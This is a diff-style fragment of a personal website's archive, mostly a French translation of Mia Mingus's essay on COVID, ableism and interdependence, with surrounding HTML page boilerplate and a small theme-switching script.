<p class="textbody">L’interdépendance nous demande d’imaginer de nouvelles façons d’aller de l’avant avec l’intention et la profonde volonté de s’engager avec les autres. Nous avons besoin de vous. Nous avons besoin de nous tous⋅tes. On ne pourra pas sortir seul·es de cette pandémie. On ne pourra pas arrêter la propagation ou pousser nos gouvernements à en faire plus, seul·es. Nous avons besoin les un·es des autres. Nous avons besoin les un·es des autres. <em>Nous avons besoin les un·es des autres</em>.</p> | |||
</article> | |||
<hr> | |||
<footer> | |||
<p> | |||
<a href="/david/" title="Aller à l’accueil"><svg class="icon icon-home"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-home"></use> | |||
</svg> Accueil</a> • | |||
<a href="/david/log/" title="Accès au flux RSS"><svg class="icon icon-rss2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-rss2"></use> | |||
</svg> Suivre</a> • | |||
<a href="http://larlet.com" title="Go to my English profile" data-instant><svg class="icon icon-user-tie"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-user-tie"></use> | |||
</svg> Pro</a> • | |||
<a href="mailto:david%40larlet.fr" title="Envoyer un courriel"><svg class="icon icon-mail"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-mail"></use> | |||
</svg> Email</a> • | |||
<abbr class="nowrap" title="Hébergeur : Alwaysdata, 62 rue Tiquetonne 75002 Paris, +33184162340"><svg class="icon icon-hammer2"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-hammer2"></use> | |||
</svg> Légal</abbr> | |||
</p> | |||
<template id="theme-selector"> | |||
<form> | |||
<fieldset> | |||
<legend><svg class="icon icon-brightness-contrast"> | |||
<use xlink:href="/static/david/icons2/symbol-defs-2021-12.svg#icon-brightness-contrast"></use> | |||
</svg> Thème</legend> | |||
<label> | |||
<input type="radio" value="auto" name="chosen-color-scheme" checked> Auto | |||
</label> | |||
<label> | |||
<input type="radio" value="dark" name="chosen-color-scheme"> Foncé | |||
</label> | |||
<label> | |||
<input type="radio" value="light" name="chosen-color-scheme"> Clair | |||
</label> | |||
</fieldset> | |||
</form> | |||
</template> | |||
</footer> | |||
<script src="/static/david/js/instantpage-5.1.0.min.js" type="module"></script> | |||
<script> | |||
function loadThemeForm(templateName) { | |||
const themeSelectorTemplate = document.querySelector(templateName) | |||
const form = themeSelectorTemplate.content.firstElementChild | |||
themeSelectorTemplate.replaceWith(form) | |||
form.addEventListener('change', (e) => { | |||
const chosenColorScheme = e.target.value | |||
localStorage.setItem('theme', chosenColorScheme) | |||
toggleTheme(chosenColorScheme) | |||
}) | |||
const selectedTheme = localStorage.getItem('theme') | |||
if (selectedTheme && selectedTheme !== 'undefined') { | |||
form.querySelector(`[value="${selectedTheme}"]`).checked = true | |||
} | |||
} | |||
const prefersColorSchemeDark = '(prefers-color-scheme: dark)' | |||
window.addEventListener('load', () => { | |||
let hasDarkRules = false | |||
for (const styleSheet of Array.from(document.styleSheets)) { | |||
let mediaRules = [] | |||
for (const cssRule of styleSheet.cssRules) { | |||
if (cssRule.type !== CSSRule.MEDIA_RULE) { | |||
continue | |||
} | |||
// WARNING: Safari does not have/supports `conditionText`. | |||
if (cssRule.conditionText) { | |||
if (cssRule.conditionText !== prefersColorSchemeDark) { | |||
continue | |||
} | |||
} else { | |||
if (cssRule.cssText.startsWith(prefersColorSchemeDark)) { | |||
continue | |||
} | |||
} | |||
mediaRules = mediaRules.concat(Array.from(cssRule.cssRules)) | |||
} | |||
// WARNING: do not try to insert a Rule to a styleSheet you are | |||
// currently iterating on, otherwise the browser will be stuck | |||
// in a infinite loop… | |||
for (const mediaRule of mediaRules) { | |||
styleSheet.insertRule(mediaRule.cssText) | |||
hasDarkRules = true | |||
} | |||
} | |||
if (hasDarkRules) { | |||
loadThemeForm('#theme-selector') | |||
} | |||
}) | |||
</script> | |||
</body> | |||
</html> |
@@ -0,0 +1,42 @@ | |||
title: Nos morts ne vous sont pas dues | |||
url: https://www.jefklak.org/nos-morts-ne-vous-sont-pas-dues/ | |||
hash_url: c4af28e3e148b7fd23ccb06e3a3f0358 | |||
<p class="entry-translator">Traduit de l’anglais (É-U) par Unai Aranceta et Elvina Le Poul<br> | |||
Article original : « <a class="website-link" href="https://leavingevidence.wordpress.com/2022/01/16/you-are-not-entitled-to-our-deaths-covid-abled-supremacy-interdependence/">You Are Not Entitled To Our Deaths: COVID, Abled Supremacy & Interdependence</a> », <em>Leaving Evidence</em>, 16 janvier 2022</p> | |||
<div class="intro"> | |||
<p class="textbody">Depuis le début de la pandémie, les malades chroniques, immunodéprimé⋅es, personnes âgées et handicapées sont particulièrement exposé⋅es au danger mortel que représente le covid. Iels doivent en plus affronter les effets indirects que la circulation du virus engendre : isolement, pénurie de personnels soignants, précarité. Pourtant, leurs vies restent perçues comme secondaires et l’écart se creuse avec les personnes valides qui se sentent peu concerné⋅es par les risques. L’autrice et formatrice Mia Mingus travaille sur la justice handie et la justice transformatrice. Elle invite à mettre au centre les personnes handicapées et à envisager la pandémie selon une perspective antivalidiste.</p> | |||
<p><span id="more-9739"></span></p> | |||
</div> | |||
<p class="textbody">Ces jours-ci, les personnes valides peinent à trouver grâce à mes yeux. Je me suis mise en retrait de la plupart de mes relations avec les valides de mon entourage parce qu’honnêtement, je ne parviens pas à exprimer l’ampleur de la rage handie que je ressens au sujet de cette pandémie, ni l’ahurissant nombrilisme des valides occupé⋅es à défendre leur bon droit. Impossible de demander gentiment des nouvelles ou de m’entendre demander comment je vais, dans ce contexte de souffrance de masse, de maladie et de mort. Je ne peux plus me pencher sur les analyses qui au milieu d’une pandémie, détaillent les taux élevés d’infection, de maladie et de mort dans les communautés des personnes racisées, Noires et Indigènes qui omettent d’évoquer la situation des personnes handicapées dans ces mêmes communautés. Je ne peux plus écouter <a class="website-link" href="https://www.rollingstone.com/politics/politics-news/cdc-disability-rochelle-walensky-encouraging-death-1282179/">la direction du CDC</a> (ndt : le Centre pour le contrôle et la prévention des maladies, principale agence fédérale de protection de la santé publique) affirmer qu’il est encourageant que seules les personnes qui n’étaient pas en bonne santé avant l’infection mourront des suites d’Omicron, et avoir vent des vacances extra-continentales de mes soi-disant camarades. Je ne peux plus prendre part aux conversations prétendument politiques qui ne reconnaissent pas le handicap, le <a class="website-link" href="https://www.talilalewis.com/blog/working-definition-of-ableism-january-2022-update">validisme</a> et la suprématie valide alors qu’on est <em>au cœur d’une pandémie</em>.</p> | |||
<p class="textbody">Nous n’échangerons pas les morts des personnes handicapées contre les vies des personnes valides. Nous ne permettrons pas que des personnes handicapées soient jetables, ni qu’elles servent de variables d’ajustement pour le maintien du statu quo. Nous ne détournerons pas le regard de la maladie et de la mort de masse qui nous environnent, ni d’un appareil d’État, qui tout à son laisser-faire eugéniste, s’applique essentiellement à perpétuer le profit et le confort des privilégié⋅es.</p> | |||
<p class="textbody">Nous savons que l’État nous a laissé tomber. Nous observons en ce moment même s’exercer une violence pandémique validée par l’État : le meurtre, l’eugénisme, la maltraitance et une négligence glaçante sont les seules réponses aux souffrances, à la maladie et à la mort que nous subissons en masse. Nous sommes la nation la plus riche du monde, et nous continuons de préférer la rentabilité et le confort aux dépens des personnes et de la vie. L’État enfonce profondément le couteau de la souffrance dans les tripes de ceux et celles qui sont déjà à terre. Sa cruauté est sans limite et sans remords.</p> | |||
<p class="textbody">Du côté de la gauche radicale, nous ne sommes pas vraiment surpris⋅es. Nous avons vu ce que l’État était prêt à faire subir à son propre peuple. Nous n’avons jamais pu compter sur l’État puisque nous savons qu’il ne se soucie pas de nous ni de notre communauté. Nous avons toujours dû nous organiser en dehors de l’État. Rien de nouveau. Nous sommes déjà passé⋅es par là et nous y voilà de nouveau.</p> | |||
<p class="textbody">Nous savons que nous avons besoin d’un changement systémique pour que notre communauté puisse – <em>littéralement</em> <em>– </em>survivre à cette pandémie, mais nous savons aussi que le type de changement dont nous avons besoin a peu de chance d’advenir. Il est dans l’intérêt de celleux qui ont le pouvoir de maintenir les gens éloignés du soin, malades et dépendants de miettes de plus en plus maigres. C’est là une des raisons de l’efficacité du validisme et de la pauvreté, et ce qui explique pourquoi les deux vont si souvent de pair. Il y a tant de choses en ce moment que nous ne pouvons ni maîtriser, ni changer, même si nous le voulions désespérément. Tandis que nous luttons pour des changements systémiques, nous pouvons aussi transformer ce qui se passe au sein de nos communautés. Nous pouvons apprendre de nos erreurs et tenter, c’est la moindre des choses, de ne pas empirer les choses.</p> | |||
<p class="textbody">Opposer la nécessité du changement étatique et systémique à celle du changement individuel et communautaire repose sur une fausse alternative. Les deux sont nécessaires pour sortir du chaos pandémique, comme pour toutes les libérations pour lesquelles nous nous battons. Il faut accorder des primes de risque aux travailleurs⋅euses essentiel⋅les, mettre fin aux expulsions, payer les gens pour qu’ils restent à la maison, distribuer des tests gratuits à tout le monde. Il est aussi indispensable que tout le monde porte des masques, cesse d’organiser et de participer à des rassemblements en présence, cesse de voyager inutilement, se vaccine et reçoive sa dose de rappel. Certaines personnes à gauche ne parlent que du besoin de mesures étatiques, alors qu’elles-mêmes ne sont pas vaccinées ou n’ont pas fait leur rappel et n’ont pas cessé d’organiser ou d’assister à des rassemblements en présence. Si la justice transformatrice nous a appris une chose, c’est bien que le changement systémique n’est pas suffisant. De nombreux changements doivent aussi se produire au niveau communautaire et individuel.</p> | |||
<p class="textbody">Les vaccins ont mis en lumière le profond ancrage du validisme dans nos cultures politiques. Les personnes handicapées en ont toujours eu conscience, mais les personnes valides m’ont incroyablement déçue et mise en colère, particulièrement celles qui au sein de nos mouvements, ont renforcé la suprématie validiste, via la culture et le privilège valide, esquivé leurs responsabilités et ont manqué opportunité après opportunité de défier cette suprématie et d’agir en solidarité avec les personnes handicapées et leurs communautés.</p> | |||
<p class="textbody">Pourquoi avons-nous permis que l’on présente le vaccin comme un choix individuel plutôt que comme une action collective au nom de l’interdépendance et de la solidarité avec les personnes handicapées (en particulier celles à haut risque), les aîné⋅es, les enfants qui ne peuvent pas se faire vacciner, les pays du Sud global, les travailleurs⋅euses essentiel⋅les et celles et ceux qui n’ont pas la possibilité de travailler depuis la maison ? Pour celles et ceux qui peuvent se faire vacciner, il ne s’agit pas de choix personnel. Ça n’a rien à voir avec le fait de décider d’avorter, arrêtez avec ça. Ne pas se faire vacciner n’a rien du « mon corps, mon choix », c’est comme conduire en état d’ébriété ou exposer quelqu’un·e à la fumée de sa cigarette.</p> | |||
<p class="textbody">Nous devrions parler de la vaccination pour la faire entrer dans notre culture politique à gauche. En parler sur les réseaux sociaux est important, mais il est plus important encore d’avoir cette conversation avec les gens qui nous entourent. Non pas pour faire honte, car on sait, grâce à la <a class="website-link" href="https://leavingevidence.wordpress.com/2019/01/09/transformative-justice-a-brief-description/">justice transformatrice</a>, que faire honte n’est pas utile, mais de façon à engager la conversation et poser des conséquences claires, et non des punitions.</p> | |||
<p><img class="aligncenter size-full wp-image-9746" src="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium.jpg" alt="" srcset="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium.jpg 700w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-300x200.jpg 300w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-296x197.jpg 296w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Colorful_anemone_growing_on_coral_in_London_aquarium-600x399.jpg 600w" sizes="(max-width: 700px) 100vw, 700px"></p> | |||
<p class="textbody">Le fait de se faire vacciner et de faire ses rappels devrait être présenté comme faisant partie de notre engagement politique en faveur de l’<a class="website-link" href="https://leavingevidence.wordpress.com/2017/04/12/access-intimacy-interdependence-and-disability-justice/">interdépendance</a>, de la <a class="website-link" href="https://leavingevidence.wordpress.com/2011/02/12/changing-the-framework-disability-justice/">justice </a><a class="website-link" href="https://leavingevidence.wordpress.com/2011/02/12/changing-the-framework-disability-justice/">pour les personnes handicapées</a> <sup class="footnote"><a href="#fn-9739-1" id="fnref-9739-1">1</a></sup> et de la solidarité. J’ai été écœurée, mais pas tellement surprise, du nombre de personnes de nos mouvements <em>qui ont les moyens d’être vaccinées</em>, qui ont choisi de ne pas l’être et continuent d’aller au restaurant, dans des fêtes, au lieu de rester chez elles et de protéger les autres. En tant que personne qui a subi des abus phénoménaux, dont des abus sexuels, au sein de <a class="website-link" href="https://leavingevidence.wordpress.com/2015/02/06/medical-industrial-complex-visual/">l’institution médicale</a>, je ne soutiens en aucune manière l’imposition forcée de traitements médicaux, y compris de vaccins. Je veux que vous <em>vouliez</em> faire ce qui est juste. <em>Je veux que vous vouliez protéger les autres et vous soucier d’elles et d’eux. </em>Si vous avez les moyens de vous vacciner, mais que vous vous opposez catégoriquement à le faire, alors pour notre sécurité collective, restez chez vous et tenez vous loin des autres.</p> | |||
<p class="textbody">La culture valide apprend aux valides que les choses leur sont dues. Vous avez le droit de ne jamais avoir à apprendre quoi que ce soit au sujet du handicap et du validisme. Vous avez le droit de vous mouvoir dans le monde et de rejoindre nos mouvements, même sans la moindre once de compréhension ni d’analyse politique au sujet du handicap, ce qui ne vous empêche pas de pontifier au sujet de toutes les autres formes d’oppression et de violence. La culture validiste dans nos mouvements, c’est de pouvoir répéter « nous devons mettre au centre celles et ceux qui sont les plus concerné⋅es » chaque jour, tous les jours, mais de ne pas mettre les handicapé⋅es au centre de ses préoccupations, même celleux à hauts risques, en plein milieu d’une pandémie. Le bon droit des valides, c’est que vous continuiez à programmer vos séjours à l’étranger en plein pic de Delta ; que vous continuiez à publier des photos de vos grandes réunions de famille en plein pic d’Omicron.</p> | |||
<p class="textbody">Vous n’avez pas de droit sur nos mort·es. Vous n’avez pas de droit sur les morts de nos proches sacrifié⋅es au nom du capital, du privilège et de « la vie normale ». Vous n’avez pas de droit sur notre silence qui tapisse nos douleurs et souffrances, ni sur le goudron visqueux du deuil qui nous plombe. Vous n’avez pas de droit sur notre peur et notre terreur face à l’aggravation de la situation et du chaos de cette pandémie, tandis que nous nous demandons si nous pourrons un jour sortir de chez nous à nouveau en nous sentant en sécurité.</p> | |||
<p class="textbody">Vous profitez de vos relations aux dépends de notre isolement. Vos besoins sont toujours plus importants que ceux du collectif. Quand vous choisissez de faire des paris avec votre propre santé, vous prenez seulement en considération les risques<em> que vous prenez</em> et jamais ceux que vous faites courir aux autres. La manière dont le bon droit des valides évalue les risques ne varie pas : « serai-je malade ? Je m’en remettrai bien. Ma famille ira bien, mes enfants iront bien », jamais il ne se demande : « est-ce que ça ira pour elleux ? Est-ce que ça ira pour leurs enfants, pour leur famille ? Est-ce que toutes les personnes avec lesquelles iels interagissent iront bien ? » Jamais il ne se demande : « Est-ce que ça pourrait blesser leur pays, leur continent ? » Bien emmitouflé⋅e dans votre bravade de privilégié⋅e valide : « ça ne peut pas m’arriver. Je suis en bonne santé », jamais vous ne vous demandez : « Qui pourrais-je exposer ? Je m’en remettrai peut-être, mais quelqu’un d’autre ne s’en remettra peut-être pas. »</p> | |||
<p class="textbody">La suprématie validiste signifie que beaucoup d’entre vous estiment à tort que si vous attrapez le covid et que vous vous en tirez avec un <a class="website-link" href="https://www.facebook.com/groups/373920943948661/">covid long</a>, l’État ou votre communauté s’occupera de vous. Vous en êtes persuadé·es parce que vous ne savez rien de la réalité vécue du handicap dans ce pays. Le privilège valide implique que vous n’avez pas à écouter les personnes handicapées ni à apprendre ce que sont le validisme et la suprématie validiste. Notre gouvernement se fiche des personnes handicapées qui existent déjà. Penser qu’il prendra soin de vous si vous devenez handicapé⋅es à cause du covid, comme des millions d’autres le deviendront, c’est le fruit de votre ignorance validiste.</p> | |||
<p class="textbody">J’ai besoin que vous vous souciez davantage des vies des personnes handicapées que de vos vacances ou de vos fêtes. L’isolement est l’une des pierres angulaires du handicap dans un monde de personnes valides. Il est partie prenante du trauma provoqué par le validisme. Les personnes handicapées sont marquées encore et encore par l’isolement provoqué par l’inaccessibilité matérielle, sociale et culturelle, par le stigmate, la peur, la violence et la honte. Nous négocions avec des formes variées de distance sociale tout au long de notre vie. Pendant cette pandémie – c’est-à-dire pendant des années, beaucoup de personnes handicapées, en particulier celles à hauts risques, n’ont pas quitté leur maison ni vu quiconque, excepté les personnes avec qui elles habitent. Vous prenez pour acquis le luxe d’une relation vécue en présence et vous pensez que continuer à en avoir est votre droit le plus strict , même si cela implique de risquer de prolonger et d’aggraver la pandémie, alors même que des milliers de personnes autour de vous meurent et souffrent.</p> | |||
<p class="textbody">Nous ne savons pas quand un prochain variant s’affirmera comme une menace. Les scientifiques observent de nombreux variants qui ne sont pas <em>encore </em>devenus des menaces. Plus le covid est autorisé à circuler au sein d’une communauté, plus il a de chance de muter et d’engendrer un nouveau variant. Nous ne pouvons pas continuer à risquer la sécurité collective au nom des petits plaisirs individuels. Nous ne pouvons pas continuer à sacrifier les besoins à long terme au nom de la satisfaction des désirs à court terme.</p> | |||
<p class="textbody">Les personnes handicapées ne sont pas jetables. Nous sommes votre présent redouté et votre inévitable futur. Nous sommes ce que l’âge et le temps promettent plus que tout, et c’est pourquoi vous avez peur de nous, et que vous nous avez continuellement repoussé·es et caché·es. Vous ne nous voulez pas trop près de vous, vous ne voulez pas être quotidiennement ramené à notre différence et à vos privilèges ; vous ne voulez pas avoir à changer vos vies pour nous. Nous devons être jeté·es à la benne, soigneusement oublié·es pour que vous puissiez continuer à faire semblant, sans interruption.</p> | |||
<p class="textbody">Les pandémies, le changement climatique, la pollution et la toxicité ont fait pencher la balance et augmenté les chances que le handicap représente notre futur collectif. Vous avez peut-être pu détourner les yeux de la violence d’État, de la pauvreté et de l’addiction, mais qu’en est-t-il lorsque c’est l’air même que vous respirez qui devient une menace ? Quand il n’est plus possible d’échapper à la catastrophe climatique et que vous ne pouvez pas vous permettre de quitter la planète ? La sécurité individuelle est un mythe en soi. Elle n’existe pas sans sécurité collective, et la sécurité collective implique que personne ne soit en sécurité si tout le monde ne l’est pas.</p> | |||
<p class="textbody">Vous interrogez vos privilèges, mais jamais vos privilèges de personnes valides. Vous vous éduquez sur les oppressions, mais jamais sur le validisme. Vous adorez vos communautés des Personnes racisées, Noires et Indigènes, queer, prolétaires, abolitionnistes [ndt : de la prison et de la police], anti-racistes, féministes, d’immigré·es, mais vous ne semblez jamais vous souvenir de l’existence de personnes handicapées dans ces communautés, et dans toutes les autres.</p> | |||
<p class="textbody">Les mien·nes meurent et sont terrifié·es. Et ça ne semble pas vous intéresser. Ça ne semble pas vous intéresser parce que vous ne les voyez pas – parce que vous ne nous voyez pas – comme étant aussi des vôtres. Quand vous me parlez de justice raciale, de justice du logement, de justice sanitaire ou de justice du genre, de qui parlez-vous exactement ? Pour quelle justice luttez-vous ? Parce qu’il semble que les personnes handicapées n’en fassent jamais partie ou, si c’est le cas, seulement en théorie et pas en pratique ; seulement pour vous donner bonne conscience. Ou seulement quand des personnes handicapées sont dans la pièce et qu’elles sont à l’initiative de la discussion.</p> | |||
<p class="textbody">Je ne veux pas être votre ami·e ou camarade racisé·e-handicapé·e-politisé·e de service. Si vous vous souciez de moi, j’ai aussi besoin que vous vous souciez des personnes handicapées et de leurs communautés, car si vous ne vous intéressez pas à elleux, vous ne vous intéressez pas à moi. Si vous vous souciez de moi, alors j’ai besoin que vous compreniez votre position de personne valide et que vous remettiez en question la suprématie validiste, et plus particulièrement la culture validiste qui considère la vie des personnes handicapées comme négligeable dans cette pandémie.</p> | |||
<p><img class="aligncenter size-full wp-image-9744" src="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB.jpg" alt="" srcset="https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB.jpg 700w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-300x300.jpg 300w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-150x150.jpg 150w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-600x600.jpg 600w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-580x580.jpg 580w, https://www.jefklak.org/wordpress/wp-content/uploads/2022/02/Vignette_Mia_Mingus_SiteJK_NB-560x560.jpg 560w" sizes="(max-width: 700px) 100vw, 700px"></p> | |||
<p class="textbody">J’ai besoin que vous ne vous contentiez pas de <em>dire </em>que vous êtes solidaires avec les personnes handicapées ou que vous trouvez que la justice du handicap est importante ; j’ai besoin que vous la pratiquiez. J’ai besoin que vous engagiez des conversations difficiles avec d’autres personnes valides à propos des vaccins et des rappels, des masques et de l’annulation des rassemblements, du travail et des voyages non-nécessaires. De nombreuses personnes handicapées ont déjà fait ce travail parce qu’elles n’avaient pas le choix. Nous avons perdu des contacts, on nous a crié dessus, moqué⋅es, ridiculisé⋅es, on nous a dit que nous surréagissions, que nous vous persécutions ou cherchions à vous contrôler, simplement parce que nous ne voulions pas mourir. Simplement parce que nous ne voulons pas que d’autres personnes meurent. Simplement parce que nous ne pouvons pas nous permettre d’être à la merci d’un système de tri médical qui peut nous considérer indigne de recevoir un traitement, en raison de notre handicap, de notre maladie, de notre classe, race, couleur de peau, accent ou statut d’immigrant⋅e, de notre genre ou de notre corpulence. Simplement parce que nombre d’entre nous <em>savaient </em>ce qui allait arriver – ce qui <em>arrive –</em> et nous savions que nous ne pourrions pas l’arrêter sans vous, et nous savions que vous choisiriez toujours votre propre confort et votre plaisir plutôt que la sécurité collective, plutôt que l’interdépendance. Comment mettre des mots sur l’angoisse que suscite le fait de compter sur des gens qui n’ont pas besoin de vous ?</p> | |||
<p class="textbody">Il nous faut envisager cette pandémie en termes d’interdépendance. C’est le bon angle politique, car c’est le seul qui soit moral et humain. L’interdépendance reconnaît que nous sommes lié·es dans notre survie, que nous sommes interconnecté·es et que tout ce que nous faisons a un effet sur les autres. Si cette pandémie a bien fait une chose, c’est de montrer l’incapacité profonde de notre société à valoriser et à mettre en pratique l’interdépendance. L’interdépendance est le seul moyen de résoudre les problèmes éminemment urgents auxquels nous sommes confronté·es aujourd’hui. Si nous ne comprenons pas notre relation d’interdépendance avec la planète, nous ne survivrons pas en tant qu’espèce.</p> | |||
<p class="textbody">La culture validiste vous apprend à agir comme si vous étiez indépendant·e, à adhérer au <a class="website-link" href="https://leavingevidence.wordpress.com/2017/04/12/access-intimacy-interdependence-and-disability-justice/">mythe de l’indépendance</a>. Rejetez cela. Adoptez l’interdépendance et prenez conscience qu’il s’agit du seul moyen qui nous rende capables de mettre fin à cette pandémie. Sachez que si nous mettons les personnes handicapées, et en premier lieu celles à haut risque, au centre de nos préoccupations, cela aidera <em>tout le monde. </em>Plus de personnes vaccinées et à jour dans leurs rappels, c’est moins de personnes qui submergent les hôpitaux et plus de lits de réanimation et de personnel médical disponible pour celles et ceux qui en ont réellement besoin. Cela signifie également que les opérations non-urgentes et les autres procédures médicales vitales ne devront pas être reportées à cause d’un système médical débordé. Moins de personnes voyageant inutilement signifie moins de chance pour le virus de se diffuser et de muter, et que celles et ceux <em>qui ont besoin </em>de voyager (par exemple pour prendre soin d’un·e proche malade) courent moins de risques. Pour celles et ceux qui le peuvent, rester à la maison et ne pas sortir quand ce n’est pas nécessaire permet de créer des conditions plus sûres pour celles et ceux qui ne sont pas en mesure de rester chez elleux. Décliner des invitations et en expliquer la raison permet non seulement d’arrêter la propagation, mais aussi de donner l’exemple du soin, des contraintes et de l’interdépendance.</p> | |||
<p class="textbody">Transformez votre déception de devoir annuler un événement en une opportunité de pratiquer l’interdépendance, la solidarité et la justice du handicap. De la même façon que vous pourriez vous retenir d’assister à un spectacle ou d’acheter quelque chose parce que vous voulez soutenir des travailleur·ses en grève, soutenez les groupes les plus vulnérables dans cette pandémie. Cela inclut les pays du Sud global, où sont présent·es de très nombreuses personnes racisées, Noires et Indigènes handicapées, car nous savons bien qu’elles feront les frais des privilèges, de l’égoïsme et de la cupidité des pays du Nord (par exemple en n’autorisant pas la levée des brevets sur les vaccins, qui permettrait de ralentir la propagation du virus). Si nous nous mobilisons tous·tes pour protéger les plus vulnérables, si nous pratiquons tous·tes ensemble l’action collective, nous pouvons significativement contribuer à réduire les risques et les dommages pour tout le monde.</p> | |||
<p class="textbody">La solution ne peut pas passer par la contamination de tous·tes au covid. Il s’agit d’eugénisme, car de nombreuses personnes handicapées à haut risque mourraient du covid et celles et ceux qui n’en mourraient pas auront de graves complications et des répercussions à vie sur leur santé et leur bien être, notamment en cas de covid long. Ne tombez pas dans le panneau de cette pensée eugéniste qui suppose le sacrifice des plus vulnérables. Le covid long est réel et peut toucher n’importe qui.</p> | |||
<p class="textbody">Cette pandémie va engendrer des millions de personnes handicapées supplémentaires souffrant de maladies chroniques. Sommes-nous prêt·es pour ce qui nous attend ? Sommes-nous prêt·es à faire face à l’augmentation du nombre de personnes souffrant de maladie chronique ? Sommes-nous prêt·es à la nécessaire modification de nos mouvements et de notre travail politique que cela implique ? Ou allons-nous continuer à exclure le handicap et les personnes handicapées de nos mouvements et de nos communautés ? Allons-nous continuer d’oublier le validisme et la suprématie validiste dans notre travail de libération ?</p> | |||
<p class="textbody">S’il y a jamais eu un moment pour se montrer solidaire des personnes handicapées, c’est maintenant. Comme c’est le cas depuis le début de la pandémie. Tout dépend de ce que vous pouvez faire maintenant. C’est le moment de vous réorienter, de vous (ré)aligner avec vos valeurs. Nous n’avons pas besoin de vos excuses, nous n’avons pas le temps pour cela, nous avons juste besoin que vous fassiez mieux. Si vous êtes valide, parlez aux autres personnes valides. À cause du validisme, iels seront plus ouvert·es à la discussion si elle vient de vous plutôt que de nous. Aidez-les à s’éduquer. Ne participez pas à la reconduction de la suprématie validiste. Désapprenez tout ce qui ne sert pas l’interdépendance.</p> | |||
<p class="textbody">L’interdépendance c’est en fin de compte le « nous » qui prime sur le « je ». C’est la compréhension que nous sommes lié·es les un·es aux autres, par notre simple existence sur cette planète. L’interdépendance est génératrice et fondée sur le soin des autres. Elle ne vit pas dans l’obligation ou le bon droit, mais plutôt dans un enthousiasme aimant et un don sacré. Elle ne peut pas exister dans la pénurie, la compétition, la comparaison, la domination ou la cupidité. Elle s’épanouit dans l’abondance, en appréciant et honorant la différence, dans le soin et l’accès collectif. L’interdépendance peut aussi bien exister entre deux personnes qu’entre six milliards.</p> | |||
<p class="textbody">L’interdépendance nous demande d’imaginer de nouvelles façons d’aller de l’avant avec l’intention et la profonde volonté de s’engager avec les autres. Nous avons besoin de vous. Nous avons besoin de nous tous⋅tes. On ne pourra pas sortir seul·es de cette pandémie. On ne pourra pas arrêter la propagation ou pousser nos gouvernements à en faire plus, seul·es. Nous avons besoin les un·es des autres. Nous avons besoin les un·es des autres. <em>Nous avons besoin les un·es des autres</em>.</p> |
@@ -0,0 +1,509 @@ | |||
<!doctype html><!-- This is a valid HTML5 document. --> | |||
<!-- Screen readers, SEO, extensions and so on. --> | |||
<html lang="fr"> | |||
<!-- Has to be within the first 1024 bytes, hence before the `title` element | |||
See: https://www.w3.org/TR/2012/CR-html5-20121217/document-metadata.html#charset --> | |||
<meta charset="utf-8"> | |||
<!-- Why no `X-UA-Compatible` meta: https://stackoverflow.com/a/6771584 --> | |||
<!-- The viewport meta is quite crowded and we are responsible for that. | |||
See: https://codepen.io/tigt/post/meta-viewport-for-2015 --> | |||
<meta name="viewport" content="width=device-width,initial-scale=1"> | |||
<!-- Required to make a valid HTML5 document. --> | |||
<title>Gemini is Solutionism at its Worst (archive) — David Larlet</title> | |||
<meta name="description" content="Publication mise en cache pour en conserver une trace."> | |||
<!-- That good ol' feed, subscribe :). --> | |||
<link rel="alternate" type="application/atom+xml" title="Feed" href="/david/log/"> | |||
<!-- Generated from https://realfavicongenerator.net/ such a mess. --> | |||
<link rel="apple-touch-icon" sizes="180x180" href="/static/david/icons2/apple-touch-icon.png"> | |||
<link rel="icon" type="image/png" sizes="32x32" href="/static/david/icons2/favicon-32x32.png"> | |||
<link rel="icon" type="image/png" sizes="16x16" href="/static/david/icons2/favicon-16x16.png"> | |||
<link rel="manifest" href="/static/david/icons2/site.webmanifest"> | |||
<link rel="mask-icon" href="/static/david/icons2/safari-pinned-tab.svg" color="#07486c"> | |||
<link rel="shortcut icon" href="/static/david/icons2/favicon.ico"> | |||
<meta name="msapplication-TileColor" content="#f7f7f7"> | |||
<meta name="msapplication-config" content="/static/david/icons2/browserconfig.xml"> | |||
<meta name="theme-color" content="#f7f7f7" media="(prefers-color-scheme: light)"> | |||
<meta name="theme-color" content="#272727" media="(prefers-color-scheme: dark)"> | |||
<!-- Documented, feel free to shoot an email. --> | |||
<link rel="stylesheet" href="/static/david/css/style_2021-01-20.css"> | |||
<!-- See https://www.zachleat.com/web/comprehensive-webfonts/ for the trade-off. --> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_bold.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t4_poly_italic.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: light), (prefers-color-scheme: no-preference)" crossorigin> | |||
<link rel="preload" href="/static/david/css/fonts/triplicate_t3_regular.woff2" as="font" type="font/woff2" media="(prefers-color-scheme: dark)" crossorigin> | |||
